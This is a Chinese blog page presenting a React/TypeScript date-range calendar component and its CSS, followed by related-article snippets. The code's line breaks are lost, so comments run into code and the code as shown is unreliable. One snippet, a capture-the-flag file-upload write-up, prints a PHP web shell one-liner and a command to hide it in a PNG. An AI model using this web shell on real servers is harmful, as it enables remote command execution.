react-日期选择器封装
文件
import { useMemo, useState, useEffect } from "react"
import dayjs, { Dayjs } from "dayjs"
import "dayjs/locale/zh-cn"
import "./App.css"
dayjs.locale("zh-cn")function SimpleCalendar() {// 当前时间对象const [month, setMonth] = useState(dayjs())// 当前日期const [currentDate, setCurrentDate] = useState('')// 结束日期const [endDate, setEndDate] = useState<any>('')// 时间段const [perioDate, setPerioDate] = useState<String[]>()// 获取一个月得天数const getDaysOfMonth = (year: number, month: number) => {// 每个月得第一天let firstDayOfMonth = dayjs(`${year}-${month}-1`)// 每个月最后一天let lastDayOfMonth = dayjs(`${year}-${month + 1}-1`).subtract(1, "day")// 开始补全第一天前的日期while (firstDayOfMonth.day() !== 0) {firstDayOfMonth = firstDayOfMonth.subtract(1, "day")}// 开始补全最后一天后的日期while (lastDayOfMonth.day() !== 6) {lastDayOfMonth = lastDayOfMonth.add(1, "day")}const days = []let tempDate = firstDayOfMonthwhile (tempDate.isBefore(lastDayOfMonth) || tempDate.isSame(lastDayOfMonth)) {days.push(tempDate)tempDate = tempDate.add(1, "day")}return days}const days = useMemo(() => {return getDaysOfMonth(month.year(), month.month() + 1)}, [month])// 标题const weekTitles = useMemo(() => {return [...Array(7)].map((_, weekInx) => {return dayjs().day(weekInx)})}, [])// 月份修改const onMonthSwitch = (action: number) => {setMonth((month) => {return month.add(action, "month")})}// 判断选中是否为本月天数const selectDays = (monthDay: Dayjs) => {const dayTiem = monthDay.format('YYYY-MM-DD')// 获取当前月份的第一天const firstDay = month.startOf("month").format('YYYY-MM-DD')return dayTiem >= firstDay ? true : false// // 获取当前月份的总天数// const totalDays = firstDay.daysInMonth()// // 生成包含本月所有日期的数组// const allDaysArray = Array.from({ length: totalDays }, (_, index) =>// firstDay.add(index, "day").format("YYYY-MM-DD")// )// 选中日期// const selectedDate = monthDay.format("YYYY-MM-DD")// return allDaysArray.includes(selectedDate)}// 设置开始结束日期const timePeriod = (day: Dayjs) => {const dayTime = day.format('YYYY-MM-DD')// 开始日期if (!currentDate) {setCurrentDate(day.format('YYYY-MM-DD'))console.log(dayTime)// 有开始日期没有结束日期} else if (currentDate && !endDate) {// 开始和结束同一天if (dayTime == currentDate) {setEndDate(dayTime)}// 结束日期比开始日期小的时候if (dayTime < currentDate) {setCurrentDate('')return}setEndDate(day.format('YYYY-MM-DD'))const daysDiff = day.diff(currentDate, 'day')// 中间日期添加样式const middleDates = []for (let i = 1; i < daysDiff; i++) {const middleDate = dayjs(currentDate).add(i, 'day')middleDates.push(middleDate.format('YYYY-MM-DD'))}middleDates.push(dayTime)setPerioDate(middleDates)// 开始和结束日期都有后清空} else if (currentDate && endDate) {setCurrentDate('')setEndDate('')setPerioDate([])}}return (<div className="App"><div className="calendar"><div className="calendar-month"><div className="calendar-month-switch" onClick={() => onMonthSwitch(-1)}>{"<"}</div><div>{month.format("MMM YYYY")}</div><div className="calendar-month-switch" onClick={() => onMonthSwitch(1)}>{">"}</div></div><div className="calendar-title">{weekTitles.map((title, index) => {return (<div key={index} className="calendar-week">{title.format("dd")}</div>)})}</div><div className="calendar-content">{days.map((day: Dayjs, index) => {const dayTime = day.format('YYYY-MM-DD')const dynamicClassName = `calendar-day ${selectDays(day) ? 'thisMonth' : 'non'} ${dayTime == currentDate ? 'active' : ''} ${perioDate?.includes(dayTime) ? 'perioDate' : ''} `return (<div key={index} onClick={() => timePeriod(day)} className={dynamicClassName}>{day.format("DD")}</div>)})}</div></div><div>开始日期:{currentDate}</div><div>结束日期:{endDate}</div></div>)
}export default SimpleCalendar
样式
.calendar {display: flex;flex-direction: column;width: 350px;height: 400px;font-size: 16px;
}.calendar-month {display: flex;align-items: center;justify-content: space-between;width: 350px;height: 44px;Margin-bottom: 16px
}.calendar-month-switch {display: flex;align-items: center;justify-content: center;cursor: pointer;width: 44px;height: 44px;Background-color: white;
}
.calendar-month-switch:hover {background-color: #e6e6e6;
}.calendar-title {display: grid;grid-template-columns: repeat(7, 1fr);padding-bottom: 8px;
}.calendar-content {width: 100%;display: grid;grid-template-columns: repeat(7, 1fr);
}.calendar-week {display: flex;align-items: center;justify-content: center;
}.calendar-day {display: flex;align-items: center;justify-content: center;aspect-ratio: 1;width: 50px;height: 36px;cursor: pointer;
}
.calendar-day:hover{background-color: #e6e6e6;
}.non{cursor:not-allowed;
}.active{background-color:#FFFF76;
}.perioDate{background-color: #006EDC;
}
效果图
相关文章:

react-日期选择器封装
文件 import { useMemo, useState, useEffect } from "react" import dayjs, { Dayjs } from "dayjs" import "dayjs/locale/zh-cn" import "./App.css" dayjs.locale("zh-cn")function SimpleCalendar() {// 当前时间对象…...

【C++题解】1022. 百钱百鸡问题
欢迎关注本专栏《C从零基础到信奥赛入门级(CSP-J)》 问题:1022. 百钱百鸡问题 类型:嵌套穷举 题目描述: 用 100 元钱买 100 只鸡,公鸡,母鸡,小鸡都要有。 公鸡 5 元 1 只&#x…...

计算机毕业设计选题推荐-二手闲置交易系统-Java/Python项目实战
✨作者主页:IT毕设梦工厂✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…...

AI Agents(智能代理)教程:如何创建信息检索聊天机器人
AI 代理教程:如何创建信息检索聊天机器人 介绍 在本教程中,我们将指导您使用 AI 代理创建用于信息检索的复杂聊天机器人的过程。探索如何利用 AI 的强大功能构建能够高效地从各种来源检索数据的聊天机器人。 设置环境 我们的计划是使用 AI 代理&…...

Linux——管理本地用户和组(详细介绍了Linux中用户和组的概念及用法)
目录 一、用户和组概念 (一)、用户的概念 (二)、组的概念 补充组 主要组 二、获取超级用户访问权限 (一)、su 命令和su -命令 ( 二)、sudo命令 三、管理本地用户账户 &…...

Flink-StarRocks详解:第三部分StarRocks分区分桶(第53天)
文章目录 前言2.3 数据分布2.3.1 数据分布概览2.3.1.1 常见的数据分布方式2.3.1.2 StarRocks的数据分布方式2.3.1.3 分区2.3.1.4 分桶 2.3.2 创建分区2.3.2.1 表达式分区2.3.2.1.1 时间函数表达式分区(自v3.1)2.3.2.1.2 列表达式分区(自v3.1&…...

8G内存的Mac够用吗 ?苹果电脑内存满了怎么清理?可以有效地管理和优化你的Mac电脑内存,确保设备运行流畅
嘿,朋友们,让咱们聊聊怎么让我们的Mac小伙伴时刻保持巅峰状态吧!想象一下,每一次点击、每一次滑动,都如同初见时那般丝滑顺畅,是不是超级心动?为了这份持久的畅快体验,我强烈推荐大家…...

【LabVIEW学习篇 - 10】:属性、调用节点
文章目录 属性节点调用节点使用方法一使用方法二案例 练习 属性节点 LabVIEW中的对象(包括控件、VI、应用程序等)都有自己的属性和方法。属性就是对象与生俱来的一些特性,可以理解成它是静态的,如控件的背景颜色,坐标…...

如何在数据埋点中发现和修复数据上报逻辑错误
如何发现和处理数据埋点中的逻辑错误 在大数据分析中,数据埋点是至关重要的一环。然而,当我们遇到数据上报逻辑错误时,该如何应对呢?本文将为你揭示解决这一棘手问题的有效方法。 目录 如何发现和处理数据埋点中的逻辑错误什么是数据上报逻辑错误?如何发现数据上报逻辑错误…...
程序员面试“八股文”:助力成长还是应试枷锁?
程序员面试“八股文”:助力成长还是应试枷锁? 引言 在当今快速迭代的IT行业中,程序员面试作为选拔人才的关键环节,其内容与形式一直备受关注。其中,“八股文”式面试题,作为一类标准化、模式化的问题集合…...
强化学习-alphazero 算法理论
一、算法简介 简单地说,AlphazeroMCTS SL(策略网络价值网络) Selfplay resnet。 其中MCTS指的是蒙特卡洛树搜索,主要用于记录所有访问过的棋盘状态的各种属性,包括该状态访问次数,对该状平均评价分数等。 SL指监督学习算法&…...

使用 Rough.js 创建动态水平条形图
本文由ScriptEcho平台提供技术支持 项目地址:传送门 使用 Rough.js 创建动态可视化网络图 应用场景 Rough.js 是一个 JavaScript 库,它允许开发人员使用毛边风格创建可视化效果。该库适用于各种应用程序,例如: 数据可视化地图…...

Python教程(十):面向对象编程(OOP)
目录 专栏列表前言一、面向对象编程概述1.1 类和对象1.2 继承1.3 多态1.4 封装 二、Python 中的类和对象2.1 定义类2.2 __init__ 函数解释2.3 创建对象 三、继承3.1 基本继承3.2 创建子类对象 四、多态五、封装六. 访问限制七、综合实例结语 专栏列表 Python教程(一…...

CTFHUB-文件上传-文件头检查
开启题目 1.php内容: <?php eval($_POST[cmd]);?> 截屏截一个很小很小的图片,保存为 png 格式,把 1.png 和 1.php 放在同一文件夹,在此目录打开 cmd, 使用以下命令把 1.png 和 1.php 合成为图片马 copy 1.pn…...
c语言数组与指针,字符串与指针,指向函数的指针,malloca动态内存分配
数组与指针 数组: - 数组是一种数据结构,可以存储固定大小的一组相同类型的元素。在内存中,数组的元素是连续存储的。 指针: - 指针是一个变量,用于存储内存地址。指针本身占用内存,用来指向某个数据的地址。 数组与指针的关系…...

代码随想录算法训练营day30 | 452. 用最少数量的箭引爆气球 、435. 无重叠区间、763.划分字母区间
碎碎念:加油 参考:代码随想录 452. 用最少数量的箭引爆气球 题目链接 452. 用最少数量的箭引爆气球 思想 局部最优: 让重叠的气球尽量在一起,用一支弓箭射。 全局最优: 用最少数量的箭引爆气球。 首先对气球进行排…...

如何手动修复DLL丢失?2种手动修复dll文件方法
DLL(动态链接库)文件是Windows操作系统中非常重要的组成部分,它们包含了程序运行所需的代码和数据。然而,由于各种原因,如系统更新、软件卸载不当或病毒感染,DLL文件有时会丢失或损坏,导致程序无…...

Node.js(2)——压缩前端html
需求:把回车符(\r)和换行符(\n)去掉后,写入到新的html文件中 步骤: 读取源html文件内容正则替换字符串写入到新的html文件中 示例: 获取html文件中的内容并检查(同时…...
堆的实现-向上调整算法-向下调整算法-堆排序-TopK问题 C语言
堆的实现与堆排序及TopK问题的C语言代码 下面是详细的堆实现,包括向上调整、向下调整算法,以及堆排序和解决TopK问题的完整C语言示例代码。 1. 堆的实现 首先,定义堆的数据结构: #include <stdio.h> #include <stdli…...

【C++BFS】1466. 重新规划路线
本文涉及知识点 CBFS算法 LeetCode1466. 重新规划路线 n 座城市,从 0 到 n-1 编号,其间共有 n-1 条路线。因此,要想在两座不同城市之间旅行只有唯一一条路线可供选择(路线网形成一颗树)。去年,交通运输部…...

地震勘探——干扰波识别、井中地震时距曲线特点
目录 干扰波识别反射波地震勘探的干扰波 井中地震时距曲线特点 干扰波识别 有效波:可以用来解决所提出的地质任务的波;干扰波:所有妨碍辨认、追踪有效波的其他波。 地震勘探中,有效波和干扰波是相对的。例如,在反射波…...

如何在看板中体现优先级变化
在看板中有效体现优先级变化的关键措施包括:采用颜色或标签标识优先级、设置任务排序规则、使用独立的优先级列或泳道、结合自动化规则同步优先级变化、建立定期的优先级审查流程。其中,设置任务排序规则尤其重要,因为它让看板视觉上直观地体…...

CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...

家政维修平台实战20:权限设计
目录 1 获取工人信息2 搭建工人入口3 权限判断总结 目前我们已经搭建好了基础的用户体系,主要是分成几个表,用户表我们是记录用户的基础信息,包括手机、昵称、头像。而工人和员工各有各的表。那么就有一个问题,不同的角色…...
sqlserver 根据指定字符 解析拼接字符串
DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...
什么是EULA和DPA
文章目录 EULA(End User License Agreement)DPA(Data Protection Agreement)一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA(End User License Agreement) 定义: EULA即…...

微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列,以便知晓哪些列包含有价值的数据,…...

佰力博科技与您探讨热释电测量的几种方法
热释电的测量主要涉及热释电系数的测定,这是表征热释电材料性能的重要参数。热释电系数的测量方法主要包括静态法、动态法和积分电荷法。其中,积分电荷法最为常用,其原理是通过测量在电容器上积累的热释电电荷,从而确定热释电系数…...
Java编程之桥接模式
定义 桥接模式(Bridge Pattern)属于结构型设计模式,它的核心意图是将抽象部分与实现部分分离,使它们可以独立地变化。这种模式通过组合关系来替代继承关系,从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...
NPOI操作EXCEL文件 ——CAD C# 二次开发
缺点:dll.版本容易加载错误。CAD加载插件时,没有加载所有类库。插件运行过程中用到某个类库,会从CAD的安装目录找,找不到就报错了。 【方案2】让CAD在加载过程中把类库加载到内存 【方案3】是发现缺少了哪个库,就用插件程序加载进…...